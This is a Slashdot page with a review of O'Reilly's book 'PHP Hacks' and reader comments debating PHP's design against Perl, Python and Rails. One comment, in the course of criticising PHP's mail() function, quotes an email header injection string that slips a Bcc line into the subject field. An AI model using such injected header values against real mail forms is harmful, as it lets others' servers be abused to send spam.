Slashdot Mirror


PHP Hacks

Michael J. Ross writes "Given the current popularity of the Web development language PHP, it makes sense that newcomers to the language have a large number of introductory and reference volumes from which to choose. But for the more advanced PHP programmer, there are far fewer titles that explain how to make the most of the language, by applying it to solve relatively substantial problems. One such book is PHP Hacks: Tips & Tools for Creating Dynamic Websites, by Jack D. Herrington. Read the rest of Michael's review. PHP Hacks author Jack D. Herrington pages 468 publisher O'Reilly Media rating 8 reviewer Michael J. Ross ISBN 0596101392 summary Practical techniques and source code for improving PHP-based Web sites and applications.

The book was published by O'Reilly Media in December of 2005. Despite its title, PHP Hacks: Tips & Tools for Creating Dynamic Websites is clearly intended to show how PHP's capabilities can be extended beyond its most common usage for creating dynamic and database-driven Web pages, and can be employed in such areas as graphics, reporting, Web site testing, code generation, and even fun purposes (for those few programmers who find the former topics less than entertaining). The author, assisted by six contributors listed in the Credits section, manages to pack an impressive number of general programming ideas and PHP-specific topics within this title's 468 pages. The material is grouped into 10 chapters, each of which contains a generous number of "hacks," each in its own section.

As with most if not all of the other titles published by O'Reilly, this book has a Web page that offers an overview of the book, its table of contents, all of the book's code (in both Zip and tar file format), and a list of confirmed and unconfirmed errata. In addition, the site hosts five sample hacks (in PDF format): accessing iPhoto pictures, generating Excel spreadsheets, avoiding the "double submit" problem, reading RSS feeds on your PSP, and creating custom Google Maps. Perusing these hacks would give the prospective buyer a clear sense as to the style of the book's other 95 hacks, as well as the (low) level of PHP expertise needed to understand them.

The book begins with a preface that describes the organization, conventions, and icons chosen for the book. Also, it covers the legality of the code samples, lists contact information, and mentions O'Reilly's Safari online book service, which contains this title among many other PHP resources. What is perhaps most unique about this book's preface is that the author identifies over half a dozen weaknesses commonly seen in PHP applications, and explains how his book addresses those problems. In addition, he makes explicit how some of the hacks can be used for jazzing up one's Web site or Web-based application.

The first chapter discusses how to install PHP on Windows, Mac OS X, and Linux, and then verify that the installation was done properly. Herrington then briefly explains how to install MySQL and perform some basic database management. The chapter concludes with coverage of installing the PEAR library on your local machine and on your Web host's server (which is incorrectly identified as your "ISP machine," apparently assuming that most developers choose their Internet service providers for hosting their sites, when in fact the opposite is true). Since the typical reader of a non-beginning book such as this no doubt has one or more introductory and/or reference PHP books at hand, it would seem superfluous to waste time and space explaining how to install these components. But few pages are taken up by the material.

The next chapter is devoted to hacks that help to jazz up the design of one's Web sites, including how to create a skinnable interface, build a breadcrumb trail, create HTML boxes, add tabs to your interface, and other valuable techniques. Subsequent chapters offer hacks in the areas of dynamic HTML (DHTML), graphics and digital pictures, databases and XML, application and e-commerce design, patterns and PHP object orientation, testing and documentation generation, and building alternative user interfaces. The 10th and final chapter covers some "fun stuff," such as creating dynamic playlists, developing a media upload/download center, and even putting Wikipedia on a Sony PlayStation Portable.

Rather than try to explain in detail all of the many topics covered in the book, I instead encourage the interested reader to visit the publisher's Web page, and scan through the table of contents provided, to get a better idea as to how much of the book would be of interest to the individual. Also, the five sample hacks listed on the site, would be well worth examining and trying out. Overall, the topics chosen reflect favorably upon the judgment of the lead author and the other contributors to the book. The typical PHP veteran would likely be interested in most of the applications covered, and would probably learn some new tricks, especially in the areas of patterns and code testing, regardless of their level of experience.

Like all books, this one is not perfect. As with the first printing of most technical books; particularly those chock-full of source code; the book contains a fair number of errata, likely even greater in number than those reported and listed on the publisher's Web site, as mentioned earlier. Consequently, any reader who chooses to test the sample code and he or she would be encouraged to do so; should keep one browser window or editor buffer open and devoted to those errata, so as to minimize the time spent trying to figure out why some sample code is not working as advertised.

Some readers posting in forums have complained that the sample code has evidently not been fully tested on all platforms, nor in all Web browsers. Since few if any reviewers would have the time, resources, or inclination to verify these claims, it should suffice to simply bear in mind that the script output and other behavior detailed in the book might not exactly match those experienced during one's own usage of the code.

The fact that there were several cooks in the kitchen brewing up this particular book, is obvious from the way that the code formatting is not consistent throughout the book, as well as the variety of problem-solving styles. Fortunately, neither weakness is of much consequence, and the latter might even be considered a "feature," as it allows the reader to see how a number of veteran PHP developers approach solving a problem.

Most technical works written by a team of authors, end up as excessive "doorstops" that are often frustrating to read as a result of the wildly inconsistent writing and coding styles, to say nothing of the material often being out of date as a result of the long production time needed by the publisher. The opposite case can be even worse, when a publisher releases a book that was clearly thrown together as quickly as possible to capitalize upon a hot new trend in technology. Thankfully, PHP Hacks keeps the style differences to a minimum, and benefits from having a lead author responsible for the book as a whole.

Some programming purists may take issue with the use of the term "hack" used as a synonym for a small PHP application or the use of such for solving a problem, since the majority of the PHP scripts in the book do not involve any programming or problem-solving that would be considered notably clever or elegant. Yet the misuse of the term seems to be spreading, and is not limited to this particular book ; another example of marketing overpowering stability of language. In the preface of PHP Hacks, the author explains that he uses the term in the positive sense of creative participation, to help reclaim it from its popular usage in place of the more traditional term "cracking," i.e., breaking into systems.

Yet aside from these complaints, PHP Hacks is a worthy title that offers explanations and source code for many valuable site-enhancing applications, testing and code generation techniques, and critical e-commerce safeguards. I recommend this book to any PHP developer who would like to add to their Web sites' capabilities, as well as their knowledge of what PHP can do.

Michael J. Ross is a freelance writer, computer consultant, and the editor of the free newsletter of PristinePlanet.com."

You can purchase PHP Hacks: Tips & Tools for Creating Dynamic Websites from bn.com. Slashdot welcomes readers' book reviews -- to see your own review here, read the book review guidelines, then visit the submission page.

165 comments

  1. I think Slashdot is trying to cheat us here.... by Anonymous Coward · · Score: 0, Informative

    Yet again Slashdot links to BN.com for kickbacks when Amazon has it cheaper.

    1. Re:I think Slashdot is trying to cheat us here.... by armyofone · · Score: 1
      Yet again Slashdot links to BN.com for kickbacks when Amazon has it cheaper.

      And Bookpool ** has it for virtually the same price as Amazon.

      ** This is a non-affiliate link.

      --
      "A revolution without dancing is... a revolution not worth having"
    2. Re:I think Slashdot is trying to cheat us here.... by Anonymous Coward · · Score: 0

      PHP Hacks

      Isnt't than a Pleonasm?

      Yet again Slashdot links to BN.com for kickbacks when Amazon has it cheaper.

      Oh my god, the horror! A commercial site trying to make money off unsuspecting morons ... who would have guessed.

    3. Re:I think Slashdot is trying to cheat us here.... by Anonymous Coward · · Score: 0

      Trying to cheat us? Perhaps it is only you... since when I buy something I shop around. What a load of bull shit this forum generates.

    4. Re:I think Slashdot is trying to cheat us here.... by whoop · · Score: 1

      And Buy.com has it for a couple bucks cheaper yet. It's been a few years since I bought from them though, but back then the free shipping took a week or so to get around to putting your stuff into a box and out the door. It's good though if you're not in any hurry to get the stuff.

  2. You got that right by Anonymous Coward · · Score: 3, Funny

    PHP is a bunch of hacks.

    1. Re:You got that right by Anonymous Coward · · Score: 0

      the hardest part about using PHP to telling your dad you wet the bed ... again.

    2. Re:You got that right by Anonymous Coward · · Score: 1, Insightful

      I don't see why everyone is so critical of PHP. PHP does have its downfalls like any other programming language but there are a lot of things that make it so much easier. PHP has a lot of functions and although some people critisize this, it makes it much easier to accomplish many different tasks. I am a person who programs in PHP almost everyday and have been doing so very a few years now and I will admit that things such as magic quotes (though easily fixed) are a pain for beginners and worries such as SQL Injection and careful use of session variables do make development time longer. However there are also a lot of different frameworks out there. Infact, I am writing my own for a client right now which I will later use as part of my portfolio to join a future project. Search Google or Sourceforge and you will find hundreds of these frameworks and APIs which solve many of these problems so that you don't even have to think of them. When I am done with my current project, I can't wait to take a look at some of these frameworks myself. I've been programming in raw PHP for a long time and would love to see what they have to offer. The only reason I haven't is because I am required to know and teach raw PHP to students for my high school's website class and because my recent client requested a custom framework and CMS. However for every day developers and hobbyist, they can make PHP just as versatile as Ruby on Rails.

    3. Re:You got that right by PCM2 · · Score: 3, Insightful
      PHP has a lot of functions and although some people critisize this, it makes it much easier to accomplish many different tasks.

      In my experience, it's not so much a case of an embarrassment of riches but more like what the parent said -- it feels like a bunch of hacks. For example, standard library functions that seem similar in almost every respect, save that they work on different data types, take different parameters (or accept them in a different order). This can be very frustrating for experienced programmers who want to get up to speed quickly. Presumably it's less of a worry if you're just learning on PHP.

      I don't hate PHP. I don't really like it, either, though. I'm one of those people who is quick with a snide comment about it whenever it's brought up, just because it has always feels so amateurish, poorly designed, and slapdash to me. That said, you can do some pretty decent stuff given a database abstraction layer and Smarty templates (for example). And the one big advantage it has over Ruby on Rails is that it's available on just about every cheapie $5/month Web host around, whereas RoR is barely supported.

      --
      Breakfast served all day!
    4. Re:You got that right by VGPowerlord · · Score: 3, Informative

      I don't see why everyone is so critical of PHP.

      PHP started out as a set of Perl scripts in 1995, presumably using the then-new Perl 5. When it became its own language in 1997, it somehow lost namespaces, the module loading system, DBI, use strict, and everything else in Perl that doesn't register on the suck-o-meter. It also did silly things like adopt the TCL global variable system, rather than using the one that C, Perl, Java, and even things like VB use.

      So, yeah, there's a reason every is critical of PHP.

      Sources: perldoc perlhist (perl 5.000 was released on 1994-Oct-17), PHP History (PHP/FI 1.0 was a bunch of Perl scripts released in 1995, PHP/FI 2.0 was written in C in 1997), DBI::Changes (First official DBI release was 0.58 released in 21 June 1995)

      --
      GLaDOS for President 2016! "Well here we are again. It's always such a pleasure." -- GLaDOS, 2011
    5. Re:You got that right by ednopantz · · Score: 1

      PHP is VB for Unix Weenies: fast, cheap, and sloppy. It is possible to write good code in php, it just isn't common.

    6. Re:You got that right by Jerf · · Score: 1

      I don't see why everyone is so critical of PHP.

      An ideal programming environment makes it easier to do the right thing than the wrong thing, makes easy things easy, and hard things possible.

      The latter two PHP does a tolerable job on, considering what it is. It's not a good job by any means, but there are worse.

      Where people like me start bagging on PHP is that for a very long time, PHP just about forced you to do the wrong thing. Then, they'd fix the wrong thing by adding another wrong thing. Then, they'd add backwards compatibility options for the first two wrong things, which set incorrectly constituted a new wrong thing entirely, and added a fourth wrong way to do something.

      The canonical example of this was their handling of the construction of strings to go to the database. A number of wrong answers were provided. At least some of them are now deprecated and scheduled for total removal, but at least some of them remain, and I'm not sure that the officially supported libraries support the right answer even now. Even if they do, it took them way too many programmer years to get around to it.

      Finally, after ignoring the people who knew what they were talking about for nigh unto a decade, PHP finally implements something sort of like the right thing, albeit making it hard to find underneath all the wrong things that are still there. And best of all, inexperienced programmers have absolutely no clue that all these things are wrong things, and go happily using them to create application upon application that has all the security of swiss cheese.

      Ironically, considering the target audience, it took an extremely experienced developer to actually create a safe PHP application, and even the good projects have tended to have little problems with certain combinations of those reverse compatibility flags and stuff like that.

      Now, I've carefully written all this in the past tense because I'll admit I have long since written off PHP. I could name 5 languages easy I'd rather do a web app in today, and heck, I'd rather learn a new language from scratch than use PHP. But it may be the case that it has significantly improved to the point where none of this applies. However, from what I have heard from here and elsewhere, it's mostly not the case; the security issues have gotten somewhat better but it sounds like the language has become a monstrosity. (Note that while this is the inevitable fate of any developing language... some are concerned that Java recently passed this point with the Generics feature that seems to defy even Java book author's abilities to understand, let alone explain... PHP is hitting this point without actually passing through any point at which it was the best solution for any but the very smallest of problems.)

      Generally speaking, the PHP programmer community is the least mature community I know. And I don't mean like not swearing and being respectful; I mean it's just like 15-year-olds are designing the language from their base of six months of experience programming. I find it ironic to find out PHP started as a collection of perl scripts; by dint of great effort and years of work, they managed to produce a product inferior to Perl in almost every way.

    7. Re:You got that right by mcrbids · · Score: 3, Insightful

      So, yeah, there's a reason every is critical of PHP.

      I'm on the other side. What is it about a language that makes it *EASY* to consider the problem at hand, and doesn't make you worry too much about implementation details?

      Using PHP, you don't have to worry about things like memory management and/or memory type translation. A "1" becomes a 2 when you add a 1 to it.

      Arrays and hashes are the same. Any array can be accessed as a hash, any hash is also an array. Makes it easy to define data in memory, then do loops/recursion on it to get whatever result you want.

      Simple!

      Time spent solving customer problems rather than implementation problems is time spent making money instead of wasting it.

      I've written some really big projects with PHP. (EG: over 50,000 lines in 3+ years, with NO HTML CODE) It's done a magnificent job. It scales nicely and easily with it's "share nothing" approach, and is highly reliable. In the 6 years that I've been actively developing with PHP, the number of times that there was a bug/problem with the language I could count on one hand, with 4 of the fingers peeled down. It's reliable and scalable enough that Yahoo uses it as their preferred development language.

      And, as far as security, the vast majority of issues have been with idiots writing insecure scripting, which can be done in any language. (Yes, I'm thinking of you, SPAW editor!) And, if you're using a decent operating system with an update mechanism (EG: yum) then updates to fix found security issues is a no-brainer.

      With PHP-GTK you can write quick, powerful, cross-platform GUI applications with ease and speed - I've done so, managing a distributed database application among some 70 school districts with many hundreds of users - and it works marvelously.

      PHP may have it's warts, but it's a damned fine tool. Don't let anyone convince you otherwise.

      --
      I have no problem with your religion until you decide it's reason to deprive others of the truth.
    8. Re:You got that right by sc00ch · · Score: 1

      What would you recommend for developing web applications on *nix then?

    9. Re:You got that right by Anonymous Coward · · Score: 0

      I'm on the other side. What is it about a language that makes it *EASY* to consider the problem at hand, and doesn't make you worry too much about implementation details?

      I'd agree with that, but PHP really doesn't make anything but simple webpages easy. It makes everything else hard. The main problem is the reliance on a huge, inconsistent list of global function names. Languages like Ruby, Perl, C++ and Java have modules, classes and namespaces to let you model the problem more accurately, instead of having to memorise hundreds of inconsistently named global functions, of which there's lots of duplication for the same functionality.

      Say, for example, you want to write an application that can be localised. In Perl, you just write it. In PHP, you write it once in English, then you write it again, because PHP didn't bother hiding the implementation detail of Unicode from the user. Now all your string functions have to have "mb" added to them, somewhere in the name (it's inconsistent as to where).

      Using PHP, you don't have to worry about things like memory management and/or memory type translation. A "1" becomes a 2 when you add a 1 to it.

      On the other hand, why does PHP prevent you from easily telling the difference between strings, numbers and booleans? Perl uses seperate operators, "==" for numbers and "eq" for strings, to make it clear in the mind of the programmer. PHP instead has "==" and "===", which is quite unclear and easily confused, just as C, C++, PHP, Perl, Java and Ruby are with "=" and "==", a problem that still causes security breaches today.

      Then PHP functions seriously confuse the issue. For example, PHP's "strpos()" is defined to return an int. However, if it doesn't find the needle in the haystack, it returns FALSE (not an int), which is only distinguishable from 0 with "===". A better convention would be to return -1 (a sentinel value of the same type), or return "0e0" or equivalent hack for matches at offset 0, so a truth test could be used, rather than writing "if (($x = strpos($z,$y)) !== FALSE)".

      Arrays and hashes are the same. Any array can be accessed as a hash, any hash is also an array. Makes it easy to define data in memory, then do loops/recursion on it to get whatever result you want.

      The same is true of Perl, except Perl doesn't promise to keep hash entries in timed order of addition to the hash (but not order of last update), thus programmers can expect it to come out in any order and know to sort the results the way they want them, rather than being surprised regularly. Also, Perl programmers can use closures to sort far more aptly than PHP's huge pile of confusing sort functions.

      I've written some damn large projects with PHP too. The reason for it was that the original developer didn't know any programming at all before he started, so he picked the first language he heard of. PHP is a magnet for the incompetent. It was copy and paste heaven. It amusingly used classes but always copied and pasted common identical functions rather than using inheritance. Anyway, PHP is remarkably bad. The language can be changed entirely around depending on a config file's settings, the mail() function is completely insecure (it allows "Subject: xyz\r\nBcc: spam@spam.com" to get through as a permitted header line), there were no parameterized database statements or unified database architecture for a very long time (thanks to PEAR's DB for bringing them in).

      Similarly, this "share nothing" approach is simply ignorance parading as strength. Code and data caching is essential to efficient use of hardware. It's only an idiot who says "no" to that and lets hardware sort it out. Certainly, it's simpler, but it's unlikely to be more efficient. It is to PHP's chagrin that it doesn't have caching built in, and the reason for that is Zend make a mint out of selling a caching version of PHP, the "Zend Accelerator". It's just doing what, for example, Python and mod_perl already do and compiled languages do by design - cache b

    10. Re:You got that right by Mattintosh · · Score: 2, Insightful

      Your entire post is trollish and whiny, but I thought I'd point this out, as it gave me a chuckle:

      But then, Perl never pretends it will keep programmers secure, while PHP tries to and fails.

      followed immediately by:

      Perl also has the immensely important "taint" mode, where unprocessed user input isn't allowed anywhere near important functions, like executing an external program, writing data into the database or selecting a file to open. It's this that forces programmers to think properly, and does a far better job than PHP's attempt to keep you safe without making you think about security. PHP has nothing like taint mode, and it desperately needs it.

      So Perl never pretends to keep programmers secure with some sort of "taint mode" but PHP is retarded because it aims to protect its users by not having such a feature? Huh? You either have it backwards (Perl is actually your overprotective mother while PHP lets you just get things done) or this "taint mode" is a security hole placed there by design (which forces me to call into question the sanity of the Perl guys).

      Just to give you an idea where I'm coming from, I'm a professional PHP developer. I also do C, C++, and Java, and I can pick up just about any other language quickly. Perl is one of only two languages that usually makes my eyes bleed. The other one is Objective-C, and that's mostly because I hear "C" and think it's going to actually be readable. IMNSHO, Perl blows and I wish it would die. Why? Well, for example, the "eq" "operator". Operators are made of non-alphabetic symbols for a reason: so I, the programmer, can pick them out and tell them apart from the non-operators (variables, literals, constants, keywords, and function calls). Now, Java has the stupid String.equals() function. That's bad enough, but at least it's a function. Having alphabetic operators makes unreadable code as bad as any COBOL program ever dared to be (yes, I've endured COBOL). Oh, wait, that's right, this is Perl we're talking about here. Nobody can read that anyway. Poor language design is not soley the domain of PHP.

    11. Re:You got that right by ddvlad · · Score: 1
      What would you recommend for developing web applications on *nix then?
      What's wrong with Python or Perl? Honestly, I tried learning PHP for web scripting and it really sucked. Then I looked at the alternatives and I stuck with Python -- it's somehow cleaner than Perl and more powerful than PHP. Sure, it takes a bit of work to get Python and CGI up and running, but it's definitely worth it for the non-crappy, general purpose programming language. Just my $ .02
      --
      Cornholio is a prophet.
    12. Re:You got that right by Scarblac · · Score: 2, Interesting

      mod_perl's Apache integration is impressive, and Template Toolkit is the best templating system out there bar none. Writing solid readable Perl is not as hard as people say. Perl rules for web development, and I say that as a Python nut dragged into Perl against my will.

      Also, RoR deserves the hype it gets, even though it's still hard to find hosting, and there are performance problems. Still, a good choice for rapid development.

      Java is solid, enterprisey and has a wealth of enterprisey libraries out there. It crosses the border to being over engineered a little too often, but it's fast, scalable and after coding in those scripting languages for a while, you long for an actual compiler to check your code now and then. If you're building something big, Java is a good choice.

      We have had good results switching a few very slow key handlers in our Perl system over to little bits of C.

      Although I love Python, I'm not very up to date with its web development stuff; but there's probably a few good frameworks out there.

      PHP is in my view good for nearly nothing. PHP5 is a big improvement on PHP4, and _still_ falls short on too many points compared to years old versions of the above. The only thing in its favor is that there's loads of script kiddies out there who will make a site for you for cheap, but don't expect it to be any quality.

      --
      I believe posters are recognized by their sig. So I made one.
    13. Re:You got that right by azzurri · · Score: 1

      I happen to like PHP, and I see it as a valuable language for the web. I do, however, think O'Reilly is trying to tell me something with their choice of mascot for the book. Instead of the typical animal analogy, they have chosen a beeny with a propeller. I'm pretty sure that is a kiddie hat only purchased at an amusement park. Perhaps the hat will evolve in subsequent editions moving to visor, baseball cap, driving cap, then cowboy hat. Isn't the cowboy the linux emblem for their series. Anyway, I have digressed. I actually think it warrants another look!

    14. Re:You got that right by fireboy1919 · · Score: 1


      Using PHP, you don't have to worry about things like memory management and/or memory type translation. A "1" becomes a 2 when you add a 1 to it.

      Arrays and hashes are the same. Any array can be accessed as a hash, any hash is also an array. Makes it easy to define data in memory, then do loops/recursion on it to get whatever result you want.

      Simple!


      These are features of nearly every modern scripting language and are therefore nothing to brag about. The first feature is called weakly typing, and is known not to scale well in terms of adding more developers on a tightly-coupled project. The second feature is an offshoot of that.

      And, as far as security, the vast majority of issues have been with idiots writing insecure scripting, which can be done in any language. (Yes, I'm thinking of you, SPAW editor!) And, if you're using a decent operating system with an update mechanism (EG: yum) then updates to fix found security issues is a no-brainer.

      The language puts everything into one global namespace. This is a horrible, horrible security risk that is built-in to the language design. Code badly in PHP, and you're in for trouble. Code well, and you still might be because of this.

      In most other languages you only have yourself to blame when things go bad.

      --
      Mod me down and I will become more powerful than you can possibly imagine!
    15. Re:You got that right by Anonymous Coward · · Score: 0

      You should really have read the Perl docs on taint mode before posting. It is a tool to stop (well, just make it harder) "tainted" data being used in ways that are insecure. Data received from outside (user entered in a form or cracker spoofed entering in a form) is tainted until you do something that looks like a security check, for example pattern matching. If you forget to put in a security check, Perl won't let you do dangerous things like execute a user-supplied string as a privileged system command. Of course you're still free to get your "untaint" procedure wrong.

      You can do the same checks in PHP, assuming you're aware that you need to and that you don't get distracted when you're writng the code to handle a form. And you can run Perl with taint mode turned off.

      Maybe Perl's god is stronger or wiser than PHP's god, but the worshipers are only human.

    16. Re:You got that right by Anonymous Coward · · Score: 0

      Django and Turbogears are the two main python web frameworks. Of the two I personally prefere Django, but Turbogears seems to have more momentum and developers behind it.

    17. Re:You got that right by jo42 · · Score: 2, Funny

      PHP Object Oriented Programming => "POOP"

    18. Re:You got that right by chromatic · · Score: 1
      Operators are made of non-alphabetic symbols for a reason: so I, the programmer, can pick them out and tell them apart from the non-operators...

      If you honestly cannot tell Perl operators and built-ins from variables, I suspect you really don't know Perl.

    19. Re:You got that right by Anonymous Coward · · Score: 0

      for fucks sake, thats not what he said is it.. do you really know PHP? C?, C++? tell me how perl kicks them all. Now go and play with your spaceship operator.

    20. Re:You got that right by chromatic · · Score: 1

      You must excuse me for misunderstanding the poster's point in that mish-mash of confused nonsense. What, precisely, is the difference between an operator and a built-in function? Is an operator not a keyword? Does PHP not have built-in functions with alphabetic names? Does Perl not use sigils on variables?

  3. The PHP people should sue. by Anonymous Coward · · Score: 0

    ORA is making money of the trade name PHP - they should sue him! Least you forget we are talking about a company who feels it is ok to threaten other how put 2.0 after the word web.

  4. I Read "PHP Hacks"... by guitaristx · · Score: 2, Funny

    ...as those persons whose technical acuities are slightly greater than "Script Kiddies". Maybe I just hate PHP.

    --
    I pity the foo that isn't metasyntactic
    1. Re:I Read "PHP Hacks"... by Concerned+Onlooker · · Score: 2
      Maybe I just hate PHP.

      Spend a few months with ColdFusion and you'll love PHP.

      --
      http://www.rootstrikers.org/
  5. can you clarify that? by mcmonkey · · Score: 4, Funny
    Also, it covers the legality of the code samples...

    And....? I presume if all the code samples were legal, such a statement would be unnecessary. I further presume such a statement to that effect would not warrant inclusion in a book review.

    So just what is the aspect of the legality of the code samples in need of clarification? Is one of the 'hacks' phishing with PHP? Adding free copies to your Kinkos card? Downloading launch codes from the WOPR? They're using the PHP to cook up meth, aren't they? *peer*

  6. Can't let this go by Reality+Master+101 · · Score: 1, Offtopic

    In the preface of PHP Hacks, the author explains that he uses the term in the positive sense of creative participation, to help reclaim it from its popular usage in place of the more traditional term "cracking," i.e., breaking into systems.

    I hate historical revisionism like this. The traditional word for breaking into systems is HACKING, because breaking into systems was considering "clever", along with other clever usages of computers. Some busybodies decided that it gave hackers a bad name, and thus "cracking" was coined. The word is an abomination and I, for one, refuse to use it.

    --
    Sometimes it's best to just let stupid people be stupid.
    1. Re:Can't let this go by qsqueeq · · Score: 2, Funny

      Well stop using it. You just used it twice. I for one have stopped using the word "use" and any words that use it.

    2. Re:Can't let this go by PCM2 · · Score: 1
      I hate historical revisionism like this.

      Yeah, no kidding. The reason this book is called "hacks" anything is not because the author sat down and thought long and hard about it, but because O'Reilly has branded entire line of books with the word "hacks." I doubt the author even had a choice in the matter.

      --
      Breakfast served all day!
    3. Re:Can't let this go by Dom2 · · Score: 1
      Go back and re-read Steven Levy's "Hackers". The usage of the term which matches the "hacks" books predates the "breaking and entering" usage.

      -Dom

    4. Re:Can't let this go by Bastard+of+Subhumani · · Score: 1

      Cracker's been around a long time, for example "safecracker".

      --
      Only three things are certain; death, taxes, and apocryphal quotations - Ben Franklin.
    5. Re:Can't let this go by Dom2 · · Score: 1

      In the context of computing, hacker came first though.

    6. Re:Can't let this go by Bastard+of+Subhumani · · Score: 1

      I meant in terms of someone who breaks in. Hence, subtract the safe from safecracker, to produce a word for someone who breaks in. But not to safes.

      --
      Only three things are certain; death, taxes, and apocryphal quotations - Ben Franklin.
    7. Re:Can't let this go by ArtStone · · Score: 1

      I remember references in Levy's book to some people in the described hacking community at MIT also having a propensity for lock picking, breaking into safes, and crawling through ceilings to bypass security doors.

      That's not showing off their programming skills by finding a clever way to write a smaller, tighter, faster piece of code to perform some useful computer function to improve society - it was criminal activity - period. That may be why part of the reason "hacking" picked up some of its negative connotations.

      --
      Final 2006 "Proof of Global Warming" US Hurricane Count -> 0
    8. Re:Can't let this go by aevans · · Score: 1

      Partially correct. "Cracking" specifically meant cracking codes, most frequently copy protection schemes on software or also passwords. Since most "crackers" just used a pre-existing script, the "hackers" who infiltrated computers, considered "crackers" who mostly just wanted to play video games without paying for them, to be inferior.

  7. Hacks? by mikeal · · Score: 3, Insightful

    What defines a "hack" these days.

    Maybe I'm a bit bitter, and even at the risk of sounding like a troll I'm just gonna say it, isn't writing ANY decent amount of php kind of a hack.

    Personally I'm a django fan, I really respect the rails kids for what they are doing too. Once you start doing web development in a real dynamic language you realize that web development in php in most cases IS a hack.

    I've written lots of php over the years, and I'm so glad to know that I NEVER HAVE TO DO IT AGAIN. Unlike in other languages the "hacks" in php tend to be a necessity for doing development in the language. I've really tried to write "clean" code in php and it's just not possible for any project of a decent size.

    Any disagreements?

    1. Re:Hacks? by nuzak · · Score: 1

      > What defines a "hack" these days.

      Any snippet that will move O'Reilly's new line of crappy shovelware books.

      --
      Done with slashdot, done with nerds, getting a life.
    2. Re:Hacks? by gamlidek · · Score: 3, Interesting

      I don't disagree at all, but I must say that PHP is fairly popular and has its place. And tools are finally coming out that help organize the messiness of PHP, like Trustudio's PHP IDE. I think of PHP as kind of a quick-and-dirty approach to web development.

      -gam

      --
      "In theory, theory and practice are the same; in practice, they are not."
    3. Re:Hacks? by Anonymous Coward · · Score: 0

      Once you accept that hacks are part of php development, it'sn't so bad. (Go crazy grammar nazis! I just said 'it'sn't'! - And I used exclamation outside of quotes! WOOT!)

    4. Re:Hacks? by Anonymous Coward · · Score: 1, Insightful

      I disagree, you probably just couldn't figure out "how to" hack it to make it work for big projects.

    5. Re:Hacks? by mikeal · · Score: 2, Interesting

      I think you're correct about it being a "quick-and-dirty" approach, but I think usefullness of that breaks down once you realize that you have to maintain and continue to build the majority of web projects you create. Managability is key to being able to do that and I think PHP as a language fundamentally lacks that ability.

      One of the django guys quoted a Rails line which was "php is the devil" and went on to say "and it is, because it tricks you. They make it so easy to build out 90% of your web app, but then that last 10% is SO HARD"

      I personally find it much easier writing web apps in django than php. But then again I love python and I love full object orientation so I may be in the minority in thinking that it's easier.

    6. Re:Hacks? by ScottLindner · · Score: 1

      My view of a hack is an implementation without a design. Typically hacks are done by very intelligent people that can many times succeed without doing any design work at all. The doesn't mean doing a design is for dumb people, or hacking is necessarily bad. There are times when hacks are legit, and times they should be avoided. I'd get into those topics but they are getting a pinch off topic and would be long winded.

      --
      Slashdot.. where people join together in deliberate ignorance.
    7. Re:Hacks? by scwizard · · Score: 1
      Any disagreements?
      Well it is possible to write clean PHP code when your working on tiny projects. Tiny projects are fun, I do them sometimes in my spare time.

      I don't get why people continue to whine about how bad PHP is for large websites. We know that it's a bad choice for that kind of thing, that's because it's not designed with that kind of thing in mind. However due to being easy to set up and deploy PHP is good for small quick fun projects.

      So either your an all work no play kind of guy, or your too damn elitist to ever chose to handle a "second class" language. You should try PHP again sometimes, it can be fun.
      --
      ~= scwizard =~
    8. Re:Hacks? by Grimboy · · Score: 1

      I too use Django, I'm dissapointed at the lack of a djangoforge though. Still, overall I enjoy it a lot more than php (which I have a work experiance job doing, kind of happy that I managed to get a programming one, a wee bit pissed off its in php).

      Django is super duper awesome, it would be good if there was a book like "Django Patterns" or something because I was a little bit unhappy using template tags at first but then it just started working for me.

    9. Re:Hacks? by Anonymous Coward · · Score: 0

      Odd, I've never had any trouble building 100% of the web interface of a webapp in any language I've used. Now, getting the last 10% of the business logic done is SO HARD.

    10. Re:Hacks? by Anonymous Coward · · Score: 0

      I'm working on a research project that makes an MVC (Model, View, Controller) like approach work in PHP. In any object oriented language, you can build your own platform. Generally, PHP is just a bunch of scripts, but it can be as powerful as you want.

      You have to change the way you think about a web application though. (Just like with JSP's MVC)

    11. Re:Hacks? by mikeal · · Score: 1

      It's not 1.0 yet. After it goes 1.0, expect books, press and better documentation.

    12. Re:Hacks? by protohiro1 · · Score: 1

      I really think PHP5 changes a lot of that. I am building a couple of apps right now in php with front controllers and a true MVC arch. With php 5 you can create a command factory or whatever cool stuff you need. Caching is still a sore point, but I think it is a very powerful tool for small to medium size projects. When the projects get huge....maybe not so much, except maybe Yahoo style with PHP as a front end language and the back end in Perl/Python and c++.

      --
      Sig removed because it was obnoxious
    13. Re:Hacks? by Grimboy · · Score: 1

      IMHO if an idea has merit it's only a certain amount of time before it gets big. Besides, I find programming in python with django much more fun. It's funny the way php tends to get touted for enterprise web sites.

    14. Re:Hacks? by drspliff · · Score: 3, Interesting

      Trustudio's PHP IDE is ok, but way behind the competition and hardly a finished product (their charging licensing for a beta version!).

      On the other hand I've been using NuSphere's PHPed and Zend's own ZendStudio for quite a while now, they both support remote debugging, the latest version of PHP, version control and code profiling and are both much more advanced and stable compared to Trustudio.

      PHP is no longer a baby language, and although it really annoys me sometimes (hello! no multiple inheritance or large integer/floating point number support) big real world applications are being written in it and most times I consider it much cleaner than Java when you know what you're doing.

      It's the age old thing, if you make it easier for good programmers to program, they'll get working code out of the door with much less bugs compared to a stricter language. It's quick and at times dirty, but it's understandable, you can apply [insert buzzword here] with little to no effort and it runs on most of the world's web hosting servers.

      For example, move from C to C++ and you will almost certainly be more productive, from C to D, from C++ to Java, from Bash to TCL, from Java to PHP.. you get the picture. When I've got a tight deadline and lots of features to implement, I'm going to want to do it in whichever language is most productive, this is why you see people adding backend JavaScript/BSH support to their J2EE webapps *laugh*.

    15. Re:Hacks? by multimediavt · · Score: 1

      I don't know....look at Windows code and tell me it's ANY different from PHP in being a "quick-and-dirty" hack? It's amazingly popular, people CONSTANTLY complain about it, but people KEEP FUCKING USING IT!!!!! PHP. Same thing.

    16. Re:Hacks? by scwizard · · Score: 1

      Seconded. I've noticed a big difference between PHP 4 and 5 when it comes to doing that type of thing.

      --
      ~= scwizard =~
    17. Re:Hacks? by hmartin222 · · Score: 1

      OK, so a little off the subject, but you mentioned different PHP IDEs. I'm running Linux in a VMware VM with PHP, Apache, and MySQL. From my Windows host, I have access to all of this, but was looking for a simple PHP editor, preferably web-based, and supports SSH to access the files on the Linux VM. In other words, I don't need (or want) an IDE with its own versions of PHP, MySQL, etc. I just want a better interface for editing the code. Any thoughts?

